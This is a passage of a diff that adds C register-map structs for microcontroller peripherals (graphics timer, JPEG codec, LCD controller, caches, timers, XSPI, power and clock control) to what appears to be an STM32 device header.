__IO uint32_t ALCC1R; /*!< GFXTIM absolute line counter compare 1 register, Address offset: 0x70 */ + __IO uint32_t ALCC2R; /*!< GFXTIM absolute line counter compare 2 register, Address offset: 0x74 */ + uint32_t RESERVED6[2]; /*!< Reserved, Address offset: 0x78-0X7C */ + __IO uint32_t RFC1R; /*!< GFXTIM relative frame counter 1 register, Address offset: 0x80 */ + __IO uint32_t RFC1RR; /*!< GFXTIM relative frame counter 1 reload register, Address offset: 0x84 */ + __IO uint32_t RFC2R; /*!< GFXTIM relative frame counter 2 register, Address offset: 0x88 */ + __IO uint32_t RFC2RR; /*!< GFXTIM relative frame counter 2 reload register, Address offset: 0x8C */ + uint32_t RESERVED7[4]; /*!< Reserved, Address offset: 0x90-0X9C */ + __IO uint32_t WDGCR; /*!< GFXTIM watchdog counter register, Address offset: 0xA0 */ + __IO uint32_t WDGRR; /*!< GFXTIM watchdog reload register, Address offset: 0xA4 */ + __IO uint32_t WDGPAR; /*!< GFXTIM watchdog pre-alarm register, Address offset: 0xA8 */ + uint32_t RESERVED8[209]; /*!< Reserved, Address offset: 0xAC-0X3EC */ + __IO uint32_t HWCFGR; /*!< GFXTIM HW configuration register, Address offset: 0x3F0 */ + __IO uint32_t VERR; /*!< GFXTIM version register, Address offset: 0x3F4 */ + __IO uint32_t IPIDR; /*!< GFXTIM identification register, Address offset: 0x3F8 */ + __IO uint32_t SIDR; /*!< GFXTIM size identification register, Address offset: 0x3FC */ +} GFXTIM_TypeDef; + +/** + * @brief JPEG Codec + */ +typedef struct +{ + __IO uint32_t CONFR0; /*!< JPEG Codec Control Register (JPEG_CONFR0), Address offset: 00h */ + __IO uint32_t CONFR1; /*!< JPEG Codec Control Register (JPEG_CONFR1), Address offset: 04h */ + __IO uint32_t CONFR2; /*!< JPEG Codec Control Register (JPEG_CONFR2), Address offset: 08h */ + __IO uint32_t CONFR3; /*!< JPEG Codec Control Register (JPEG_CONFR3), Address offset: 0Ch */ + __IO uint32_t CONFR4; /*!< JPEG Codec Control Register (JPEG_CONFR4), Address offset: 10h */ + __IO uint32_t CONFR5; /*!< JPEG Codec Control Register (JPEG_CONFR5), Address offset: 14h */ + __IO uint32_t CONFR6; /*!< JPEG Codec Control Register (JPEG_CONFR6), Address offset: 18h */ + __IO uint32_t CONFR7; /*!< JPEG Codec Control Register (JPEG_CONFR7), Address offset: 1Ch */ + uint32_t Reserved20[4]; /* Reserved Address offset: 20h-2Ch */ + __IO uint32_t CR; /*!< JPEG Control Register (JPEG_CR), Address offset: 30h */ + __IO uint32_t SR; /*!< JPEG Status Register (JPEG_SR), Address offset: 34h */ + __IO uint32_t CFR; /*!< JPEG Clear Flag Register (JPEG_CFR), Address offset: 38h */ + uint32_t Reserved3c; /* Reserved Address offset: 3Ch */ + __IO uint32_t DIR; /*!< JPEG Data Input Register (JPEG_DIR), Address offset: 40h */ + __IO uint32_t DOR; /*!< JPEG Data Output Register (JPEG_DOR), Address offset: 44h */ + uint32_t Reserved48[2]; /* Reserved Address offset: 48h-4Ch */ + __IO uint32_t QMEM0[16]; /*!< JPEG quantization tables 0, Address offset: 50h-8Ch */ + __IO uint32_t QMEM1[16]; /*!< JPEG quantization tables 1, Address offset: 90h-CCh */ + __IO uint32_t QMEM2[16]; /*!< JPEG quantization tables 2, Address offset: D0h-10Ch */ + __IO uint32_t QMEM3[16]; /*!< JPEG quantization tables 3, Address offset: 110h-14Ch */ + __IO uint32_t HUFFMIN[16]; /*!< JPEG HuffMin tables, Address offset: 150h-18Ch */ + __IO uint32_t HUFFBASE[32]; /*!< JPEG HuffSymb tables, Address offset: 190h-20Ch */ + __IO uint32_t HUFFSYMB[84]; /*!< JPEG HUFFSYMB tables, Address offset: 210h-35Ch */ + __IO uint32_t DHTMEM[103]; /*!< JPEG DHTMem tables, Address offset: 360h-4F8h */ + uint32_t Reserved4FC; /* Reserved Address offset: 4FCh */ + __IO uint32_t HUFFENC_AC0[88]; /*!< JPEG encodor, AC Huffman table 0, Address offset: 500h-65Ch */ + __IO uint32_t HUFFENC_AC1[88]; /*!< JPEG encodor, AC Huffman table 1, Address offset: 660h-7BCh */ + __IO uint32_t HUFFENC_DC0[8]; /*!< JPEG encodor, DC Huffman table 0, Address offset: 7C0h-7DCh */ + __IO uint32_t HUFFENC_DC1[8]; /*!< JPEG encodor, DC Huffman table 1, Address offset: 7E0h-7FCh */ + +} JPEG_TypeDef; + +/** + * @brief LCD-TFT Display Controller + */ +typedef struct +{ + uint32_t RESERVED0[2]; /*!< Reserved, 0x00-0x04 */ + __IO uint32_t SSCR; /*!< LTDC Synchronization Size Configuration Register, Address offset: 0x08 */ + __IO uint32_t BPCR; /*!< LTDC Back Porch Configuration Register, Address offset: 0x0C */ + __IO uint32_t AWCR; /*!< LTDC Active Width Configuration Register, Address offset: 0x10 */ + __IO uint32_t TWCR; /*!< LTDC Total Width Configuration Register, Address offset: 0x14 */ + __IO uint32_t GCR; /*!< LTDC Global Control Register, Address offset: 0x18 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x1C-0x20 */ + __IO uint32_t SRCR; /*!< LTDC Shadow Reload Configuration Register, Address offset: 0x24 */ + uint32_t RESERVED2[1]; /*!< Reserved, 0x28 */ + __IO uint32_t BCCR; /*!< LTDC Background Color Configuration Register, Address offset: 0x2C */ + uint32_t RESERVED3[1]; /*!< Reserved, 0x30 */ + __IO uint32_t IER; /*!< LTDC Interrupt Enable Register, Address offset: 0x34 */ + __IO uint32_t ISR; /*!< LTDC Interrupt Status Register, Address offset: 0x38 */ + __IO uint32_t ICR; /*!< LTDC Interrupt Clear Register, Address offset: 0x3C */ + __IO uint32_t LIPCR; /*!< LTDC Line Interrupt Position Configuration Register, Address offset: 0x40 */ + __IO uint32_t CPSR; /*!< LTDC Current Position Status Register, Address offset: 0x44 */ + __IO uint32_t CDSR; /*!< LTDC Current Display Status Register, Address offset: 0x48 */ +} LTDC_TypeDef; + +/** + * @brief LCD-TFT Display layer x Controller + */ + +typedef struct +{ + __IO uint32_t CR; /*!< LTDC Layerx Control Register Address offset: 0x84 */ + __IO uint32_t WHPCR; /*!< LTDC Layerx Window Horizontal Position Configuration Register Address offset: 0x88 */ + __IO uint32_t WVPCR; /*!< LTDC Layerx Window Vertical Position Configuration Register Address offset: 0x8C */ + __IO uint32_t CKCR; /*!< LTDC Layerx Color Keying Configuration Register Address offset: 0x90 */ + __IO uint32_t PFCR; /*!< LTDC Layerx Pixel Format Configuration Register Address offset: 0x94 */ + __IO uint32_t CACR; /*!< LTDC Layerx Constant Alpha Configuration Register Address offset: 0x98 */ + __IO uint32_t DCCR; /*!< LTDC Layerx Default Color Configuration Register Address offset: 0x9C */ + __IO uint32_t BFCR; /*!< LTDC Layerx Blending Factors Configuration Register Address offset: 0xA0 */ + uint32_t RESERVED0[2]; /*!< Reserved */ + __IO uint32_t CFBAR; /*!< LTDC Layerx Color Frame Buffer Address Register Address offset: 0xAC */ + __IO uint32_t CFBLR; /*!< LTDC Layerx Color Frame Buffer Length Register Address offset: 0xB0 */ + __IO uint32_t CFBLNR; /*!< LTDC Layerx ColorFrame Buffer Line Number Register Address offset: 0xB4 */ + uint32_t RESERVED1[3]; /*!< Reserved */ + __IO uint32_t CLUTWR; /*!< LTDC Layerx CLUT Write Register Address offset: 0x144 */ + +} LTDC_Layer_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t CRR0; /*!< ICACHE region 0 configuration register, Address offset: 0x20 */ + __IO uint32_t CRR1; /*!< ICACHE region 1 configuration register, Address offset: 0x24 */ + __IO uint32_t CRR2; /*!< ICACHE region 2 configuration register, Address offset: 0x28 */ + __IO uint32_t CRR3; /*!< ICACHE region 3 configuration register, Address offset: 0x2C */ +} ICACHE_TypeDef; + +/** + * @brief Data Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< DCACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< DCACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t RHMONR; /*!< DCACHE Read hit monitor register, Address offset: 0x10 */ + __IO uint32_t RMMONR; /*!< DCACHE Read miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WHMONR; /*!< DCACHE Write hit monitor register, Address offset: 0x20 */ + __IO uint32_t WMMONR; /*!< DCACHE Write miss monitor register, Address offset: 0x24 */ + __IO uint32_t CMDRSADDRR; /*!< DCACHE Command Start Address register, Address offset: 0x28 */ + __IO uint32_t CMDREADDRR; /*!< DCACHE Command End Address register, Address offset: 0x2C */ +} DCACHE_TypeDef; + +/** + * @brief PSSI + */ +typedef struct +{ + __IO uint32_t CR; /*!< PSSI control register, Address offset: 0x000 */ + __IO uint32_t SR; /*!< PSSI status register, Address offset: 0x004 */ + __IO uint32_t RIS; /*!< PSSI raw interrupt status register, Address offset: 0x008 */ + __IO uint32_t IER; /*!< PSSI interrupt enable register, Address offset: 0x00C */ + __IO uint32_t MIS; /*!< PSSI masked interrupt status register, Address offset: 0x010 */ + __IO uint32_t ICR; /*!< PSSI interrupt clear register, Address offset: 0x014 */ + __IO uint32_t RESERVED1[4]; /*!< Reserved, 0x018 - 0x024 */ + __IO uint32_t DR; /*!< PSSI data register, Address offset: 0x028 */ +} PSSI_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + +/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief Comparator + */ +typedef struct +{ + __IO uint32_t CSR; /*!< Comparator control and status register, Address offset: 0x00 */ +} COMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR_ODD; /*!< COMP control and status register located in register of comparator instance odd, used for bits common to several COMP instances, Address offset: 0x00 */ + __IO uint32_t CSR_EVEN; /*!< COMP control and status register located in register of comparator instance even, used for bits common to several COMP instances, Address offset: 0x04 */ +} COMP_Common_TypeDef; + +/** + * @brief Operational Amplifier (OPAMP) + */ +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, Address offset: 0x00 */ + __IO uint32_t OTR; /*!< OPAMP offset trimming register for normal mode, Address offset: 0x04 */ + __IO uint32_t LPOTR; /*!< OPAMP offset trimming register for low power mode, Address offset: 0x08 */ +} OPAMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, used for bits common to + several OPAMP instances, Address offset: 0x00 */ +} OPAMP_Common_TypeDef; + + +/** + * @brief MDF/ADF + */ +typedef struct +{ + __IO uint32_t GCR; /*!< MDF Global Control register, Address offset: 0x00 */ + __IO uint32_t CKGCR; /*!< MDF Clock Generator Control Register, Address offset: 0x04 */ + uint32_t RESERVED1[6]; /*!< Reserved, 0x08-0x1C */ + __IO uint32_t OR; /*!< MDF Option Register, Address offset: 0x20 */ +}MDF_TypeDef; + +/** + * @brief MDF/ADF filter + */ +typedef struct +{ + __IO uint32_t SITFCR; /*!< MDF Serial Interface Control Register, Address offset: 0x80 */ + __IO uint32_t BSMXCR; /*!< MDF Bitstream Matrix Control Register, Address offset: 0x84 */ + __IO uint32_t DFLTCR; /*!< MDF Digital Filter Control Register, Address offset: 0x88 */ + __IO uint32_t DFLTCICR; /*!< MDF MCIC Configuration Register, Address offset: 0x8C */ + __IO uint32_t DFLTRSFR; /*!< MDF Reshape Filter Configuration Register, Address offset: 0x90 */ + __IO uint32_t DFLTINTR; /*!< MDF Integrator Configuration Register, Address offset: 0x94 */ + __IO uint32_t OLDCR; /*!< MDF Out-Of Limit Detector Control Register, Address offset: 0x98 */ + __IO uint32_t OLDTHLR; /*!< MDF OLD Threshold Low Register, Address offset: 0x9C */ + __IO uint32_t OLDTHHR; /*!< MDF OLD Threshold High Register, Address offset: 0xA0 */ + __IO uint32_t DLYCR; /*!< MDF Delay control Register, Address offset: 0xA4 */ + __IO uint32_t SCDCR; /*!< MDF short circuit detector control Register, Address offset: 0xA8 */ + __IO uint32_t DFLTIER; /*!< MDF DFLT Interrupt enable Register, Address offset: 0xAC */ + __IO uint32_t DFLTISR; /*!< MDF DFLT Interrupt status Register, Address offset: 0xB0 */ + __IO uint32_t OECCR; /*!< MDF Offset Error Compensation Control Register, Address offset: 0xB4 */ + __IO uint32_t SADCR; /*!< MDF SAD Control Register, Address offset: 0xB8 */ + __IO uint32_t SADCFGR; /*!< MDF SAD configuration register, Address offset: 0xBC */ + __IO uint32_t SADSDLVR; /*!< MDF SAD Sound level Register, Address offset: 0xC0 */ + __IO uint32_t SADANLVR; /*!< MDF SAD Ambient Noise level Register, Address offset: 0xC4 */ + uint32_t RESERVED1[9]; /*!< Reserved, 0xC8-0xE8 */ + __IO uint32_t SNPSDR; /*!< MDF Snapshot Data Register, Address offset: 0xEC */ + __IO uint32_t DFLTDR; /*!< MDF Digital Filter Data Register, Address offset: 0xF0 */ +} MDF_Filter_TypeDef; + +/** + * @brief HEXA and OCTO Serial Peripheral Interface + */ + +typedef struct +{ + __IO uint32_t CR; /*!< XSPI Control register, Address offset: 0x000 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x004 */ + __IO uint32_t DCR1; /*!< XSPI Device Configuration register 1, Address offset: 0x008 */ + __IO uint32_t DCR2; /*!< XSPI Device Configuration register 2, Address offset: 0x00C */ + __IO uint32_t DCR3; /*!< XSPI Device Configuration register 3, Address offset: 0x010 */ + __IO uint32_t DCR4; /*!< XSPI Device Configuration register 4, Address offset: 0x014 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t SR; /*!< XSPI Status register, Address offset: 0x020 */ + __IO uint32_t FCR; /*!< XSPI Flag Clear register, Address offset: 0x024 */ + uint32_t RESERVED2[6]; /*!< Reserved, Address offset: 0x028-0x03C */ + __IO uint32_t DLR; /*!< XSPI Data Length register, Address offset: 0x040 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x044 */ + __IO uint32_t AR; /*!< XSPI Address register, Address offset: 0x048 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x04C */ + __IO uint32_t DR; /*!< XSPI Data register, Address offset: 0x050 */ + uint32_t RESERVED5[11]; /*!< Reserved, Address offset: 0x054-0x07C */ + __IO uint32_t PSMKR; /*!< XSPI Polling Status Mask register, Address offset: 0x080 */ + uint32_t RESERVED6; /*!< Reserved, Address offset: 0x084 */ + __IO uint32_t PSMAR; /*!< XSPI Polling Status Match register, Address offset: 0x088 */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x08C */ + __IO uint32_t PIR; /*!< XSPI Polling Interval register, Address offset: 0x090 */ + uint32_t RESERVED8[27]; /*!< Reserved, Address offset: 0x094-0x0FC */ + __IO uint32_t CCR; /*!< XSPI Communication Configuration register, Address offset: 0x100 */ + uint32_t RESERVED9; /*!< Reserved, Address offset: 0x104 */ + __IO uint32_t TCR; /*!< XSPI Timing Configuration register, Address offset: 0x108 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0x10C */ + __IO uint32_t IR; /*!< XSPI Instruction register, Address offset: 0x110 */ + uint32_t RESERVED11[3]; /*!< Reserved, Address offset: 0x114-0x11C */ + __IO uint32_t ABR; /*!< XSPI Alternate Bytes register, Address offset: 0x120 */ + uint32_t RESERVED12[3]; /*!< Reserved, Address offset: 0x124-0x12C */ + __IO uint32_t LPTR; /*!< XSPI Low Power Timeout register, Address offset: 0x130 */ + uint32_t RESERVED13[3]; /*!< Reserved, Address offset: 0x134-0x13C */ + __IO uint32_t WPCCR; /*!< XSPI Wrap Communication Configuration register, Address offset: 0x140 */ + uint32_t RESERVED14; /*!< Reserved, Address offset: 0x144 */ + __IO uint32_t WPTCR; /*!< XSPI Wrap Timing Configuration register, Address offset: 0x148 */ + uint32_t RESERVED15; /*!< Reserved, Address offset: 0x14C */ + __IO uint32_t WPIR; /*!< XSPI Wrap Instruction register, Address offset: 0x150 */ + uint32_t RESERVED16[3]; /*!< Reserved, Address offset: 0x154-0x15C */ + __IO uint32_t WPABR; /*!< XSPI Wrap Alternate Bytes register, Address offset: 0x160 */ + uint32_t RESERVED17[7]; /*!< Reserved, Address offset: 0x164-0x17C */ + __IO uint32_t WCCR; /*!< XSPI Write Communication Configuration register, Address offset: 0x180 */ + uint32_t RESERVED18; /*!< Reserved, Address offset: 0x184 */ + __IO uint32_t WTCR; /*!< XSPI Write Timing Configuration register, Address offset: 0x188 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0x18C */ + __IO uint32_t WIR; /*!< XSPI Write Instruction register, Address offset: 0x190 */ + uint32_t RESERVED20[3]; /*!< Reserved, Address offset: 0x194-0x19C */ + __IO uint32_t WABR; /*!< XSPI Write Alternate Bytes register, Address offset: 0x1A0 */ + uint32_t RESERVED21[23]; /*!< Reserved, Address offset: 0x1A4-0x1FC */ + __IO uint32_t HLCR; /*!< XSPI Hyperbus Latency Configuration register, Address offset: 0x200 */ + uint32_t RESERVED22[3]; /*!< Reserved, Address offset: 0x204-0x20C */ + __IO uint32_t CALFCR; /*!< XSPI Full-cycle calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x210 */ + uint32_t RESERVED23; /*!< Reserved, Address offset: 0x214 */ + __IO uint32_t CALMR; /*!< XSPI DLL master calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x218 */ + uint32_t RESERVED24; /*!< Reserved, Address offset: 0x21C */ + __IO uint32_t CALSOR; /*!< XSPI slave output calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x220 */ + uint32_t RESERVED25; /*!< Reserved, Address offset: 0x224 */ + __IO uint32_t CALSIR; /*!< XSPI slave input calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x228 */ +} XSPI_TypeDef; + +typedef XSPI_TypeDef OCTOSPI_TypeDef; + +typedef XSPI_TypeDef HSPI_TypeDef; + + +/** + * @brief Serial Peripheral Interface IO Manager + */ +typedef struct +{ + __IO uint32_t CR; /*!< OCTOSPIM IO Manager Control register, Address offset: 0x00 */ + __IO uint32_t PCR[8]; /*!< OCTOSPIM IO Manager Port[1:8] Configuration register, Address offset: 0x04-0x20 */ +} XSPIM_TypeDef; + +typedef XSPIM_TypeDef OCTOSPIM_TypeDef; + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t CR1; /*!< Power control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< Power control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< Power control register 3, Address offset: 0x08 */ + __IO uint32_t VOSR; /*!< Power voltage scaling register, Address offset: 0x0C */ + __IO uint32_t SVMCR; /*!< Power supply voltage monitoring control register, Address offset: 0x10 */ + __IO uint32_t WUCR1; /*!< Power wakeup control register 1, Address offset: 0x14 */ + __IO uint32_t WUCR2; /*!< Power wakeup control register 2, Address offset: 0x18 */ + __IO uint32_t WUCR3; /*!< Power wakeup control register 3, Address offset: 0x1C */ + __IO uint32_t BDCR1; /*!< Power backup domain control register 1, Address offset: 0x20 */ + __IO uint32_t BDCR2; /*!< Power backup domain control register 2, Address offset: 0x24 */ + __IO uint32_t DBPR; /*!< Power disable backup domain register, Address offset: 0x28 */ + __IO uint32_t UCPDR; /*!< Power USB Type-C and Power Delivery register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< Power Security configuration register, Address offset: 0x30 */ + __IO uint32_t PRIVCFGR; /*!< Power privilege control register, Address offset: 0x34 */ + __IO uint32_t SR; /*!< Power status register, Address offset: 0x38 */ + __IO uint32_t SVMSR; /*!< Power supply voltage monitoring status register, Address offset: 0x3C */ + __IO uint32_t BDSR; /*!< Power backup domain status register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< Power wakeup status register, Address offset: 0x44 */ + __IO uint32_t WUSCR; /*!< Power wakeup status clear register, Address offset: 0x48 */ + __IO uint32_t APCR; /*!< Power apply pull configuration register, Address offset: 0x4C */ + __IO uint32_t PUCRA; /*!< Power Port A pull-up control register, Address offset: 0x50 */ + __IO uint32_t PDCRA; /*!< Power Port A pull-down control register, Address offset: 0x54 */ + __IO uint32_t PUCRB; /*!< Power Port B pull-up control register, Address offset: 0x58 */ + __IO uint32_t PDCRB; /*!< Power Port B pull-down control register, Address offset: 0x5C */ + __IO uint32_t PUCRC; /*!< Power Port C pull-up control register, Address offset: 0x60 */ + __IO uint32_t PDCRC; /*!< Power Port C pull-down control register, Address offset: 0x64 */ + __IO uint32_t PUCRD; /*!< Power Port D pull-up control register, Address offset: 0x68 */ + __IO uint32_t PDCRD; /*!< Power Port D pull-down control register, Address offset: 0x6C */ + __IO uint32_t PUCRE; /*!< Power Port E pull-up control register, Address offset: 0x70 */ + __IO uint32_t PDCRE; /*!< Power Port E pull-down control register, Address offset: 0x74 */ + __IO uint32_t PUCRF; /*!< Power Port F pull-up control register, Address offset: 0x78 */ + __IO uint32_t PDCRF; /*!< Power Port F pull-down control register, Address offset: 0x7C */ + __IO uint32_t PUCRG; /*!< Power Port G pull-up control register, Address offset: 0x80 */ + __IO uint32_t PDCRG; /*!< Power Port G pull-down control register, Address offset: 0x84 */ + __IO uint32_t PUCRH; /*!< Power Port H pull-up control register, Address offset: 0x88 */ + __IO uint32_t PDCRH; /*!< Power Port H pull-down control register, Address offset: 0x8C */ + __IO uint32_t PUCRI; /*!< Power Port I pull-up control register, Address offset: 0x90 */ + __IO uint32_t PDCRI; /*!< Power Port I pull-down control register, Address offset: 0x94 */ + __IO uint32_t PUCRJ; /*!< Power Port J pull-up control register, Address offset: 0x98 */ + __IO uint32_t PDCRJ; /*!< Power Port J pull-down control register, Address offset: 0x9C */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x0A0-0x0A4 */ + __IO uint32_t CR4; /*!< Power power control register 4, Address offset: 0xA8 */ + __IO uint32_t CR5; /*!< Power power control register 5, Address offset: 0xAC */ +} PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; /*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED0; /*!< Reserved Address offset: 0x04 */ + __IO uint32_t ICSCR1; /*!< RCC internal clock sources calibration register 1 Address offset: 0x08 */ + __IO uint32_t ICSCR2; /*!< RCC internal clock sources calibration register 2 Address offset: 0x0C */ + __IO uint32_t ICSCR3; /*!< RCC internal clock sources calibration register 3 Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register Address offset: 0x14 */ + uint32_t RESERVED1; /*!< Reserved Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + __IO uint32_t CFGR3; /*!< RCC clock configuration register 3 Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< PLL2 Configuration Register Address offset: 0x2C */ + __IO uint32_t PLL3CFGR; /*!< PLL3 Configuration Register Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + __IO uint32_t PLL3DIVR; /*!< PLL3 Dividers Configuration Register Address offset: 0x44 */ + __IO uint32_t PLL3FRACR; /*!< PLL3 Fractional Divider Configuration Register Address offset: 0x48 */ + uint32_t RESERVED2; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED3; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR1; /*!< AHB2 Peripherals Reset Register 1 Address offset: 0x64 */ + __IO uint32_t AHB2RSTR2; /*!< AHB2 Peripherals Reset Register 2 Address offset: 0x68 */ + __IO uint32_t AHB3RSTR; /*!< AHB3 Peripherals Reset Register Address offset: 0x6C */ + uint32_t RESERVED4; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1RSTR1; /*!< APB1 Peripherals Reset 